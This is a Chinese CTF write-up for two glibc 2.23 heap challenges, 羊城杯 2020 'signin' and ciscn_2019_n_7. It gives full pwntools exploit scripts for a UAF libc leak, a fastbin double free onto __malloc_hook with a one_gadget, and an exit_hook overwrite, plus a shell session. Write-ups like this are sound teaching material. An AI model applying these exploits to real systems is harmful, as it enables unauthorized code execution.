author: moqizou
2020-羊城杯-signin
签到题目2.23的glibc
add - 最多10个chunk然后会malloc(0x28)之后就是namesize结构体如下
0x10 chunk 头
0x8 1 inuse位置
0x8 buf->name_chunk
0x8 23字节的message
0x8 看上面可以溢出
然后会把该chunk指针 存入全局table
view 通过判断inuse输出name和message
del uaf,只清除chunk_table和name_chunk
利用的话,这里用到了一点,free的chunk再次malloc回来的时候内容不会清空,这样也就给我们提供了泄露的uaf利用的可能性,但是我想的是
如果这样的话,那么uaf泄露什么特殊的地方呢?..应该主要还是强在fd劫持上面
总之利用分割unsorted bin就可以泄露。main_arena这里的偏移好像是有点奇怪,可以调试出来的,但是最好控制住不要去覆盖bk指针
pwndbg> x/20gx 0x5584286691a0
0x5584286691a0: 0x0000000000000000 0x0000000000000031
0x5584286691b0: 0x0a64646464646464 0x00007fba4ab1bb0a
泄露地址之后,就方便许多,利用fastbin的任意地址分配,和double free分配chunk到malloc_hook附近,然后打one_gadget,由于无法再次add(已经add满了)所以利用double free的检测(该检测会调用malloc函数)拿到shell
exp
#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*
context.log_level ='DEBUG'
r = process('./easypwn')
elf = ELF('./easypwn')
libc = ELF('/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
# libc = ELF('./libc.so.6')
def add(length,name,color):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)
def visit():
r.recvuntil("Your choice :")
r.sendline("2")
def remove(idx):
r.recvuntil("Your choice :")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def clean():
r.recvuntil("Your choice :")
r.sendline("4")
#attach(r,'b main')
add(0x60,'a'*8,'a'*8)
add(0x60,'a'*8,'a'*8)
add(0x80,'b'*8,'b'*8)
add(0x60,'c'*8,'c'*8)
remove(2)
add(0x20,'d'*6+'\n','e'*8)
# gdb.attach(r)
visit()
r.recvuntil("d"*6+'\n')
main_arena = u64(r.recv(6).ljust(8, '\x00'))-0xa +0x20
print hex(main_arena)
libc_base = main_arena - 0x3C4B20
print hex(libc_base)
pause()
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
one_gadget = libc_base +0xf1247
target = main_arena - 0x33
remove(0)
remove(1)
remove(0)
add(0x60,p64(target),'a')
add(0x60,'b','b')
add(0x60,'c','c')
payload = 'a'*0x13 + p64(one_gadget)
add(0x60,payload,'d')
#不能再add堆块了
#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell
remove(0)
remove(0)
r.interactive()
ciscn_2019_n_7
太简单了不想分析了
唯一的用处是exit hook之前知道这个东西,但没想到是个固定偏移
#在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
#在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
任意一个打hook就可以,这题还有一个坑
close(1);
close(2);
exit(0);
正常退出会关闭输出流和错误流。这样就无法正常输出结果。
所以不能正常退出,随便输入一个a退出就可以了。
exp
from pwn import *
context.log_level='debug'
p = process('./ciscn_2019_n_7')
#p = remote('node4.buuoj.cn','25859')
libc = ELF('/home/leo/Desktop/moyu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
p.recvuntil('Your choice-> \n')
p.sendline('666')
puts = int(p.recvuntil('\n'),16)
libc_base = puts - libc.sym['puts']
print "[+]puts_addr=>"+hex(puts)
print "[+]libc_base=>"+hex(libc_base)
exit_hook = libc_base + 0x5f0040 + 3848
one = 0xf1247
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
p.recvuntil('Your choice-> \n')
p.sendline('1')
p.sendlineafter(': \n',str(0x10))
p.recvuntil('name:')
p.send('a'*0x8 + p64(exit_hook))
p.recvuntil('Your choice-> \n')
p.sendline('2')
p.sendlineafter('name:\n','test')
p.sendlineafter(':\n',p64(libc_base+one))
p.sendlineafter("Your choice-> \n",'4')
p.interactive()
还可以把输出流绑定到0也就是输入流,exec 1>&0
然后就可以了
$ ls
$ exec 1>&0
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
log.txt
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
参考
exit_hook
输入输出重定向
https://*.com/questions/30968734/reopen-stdout-and-stderr-after-closing-them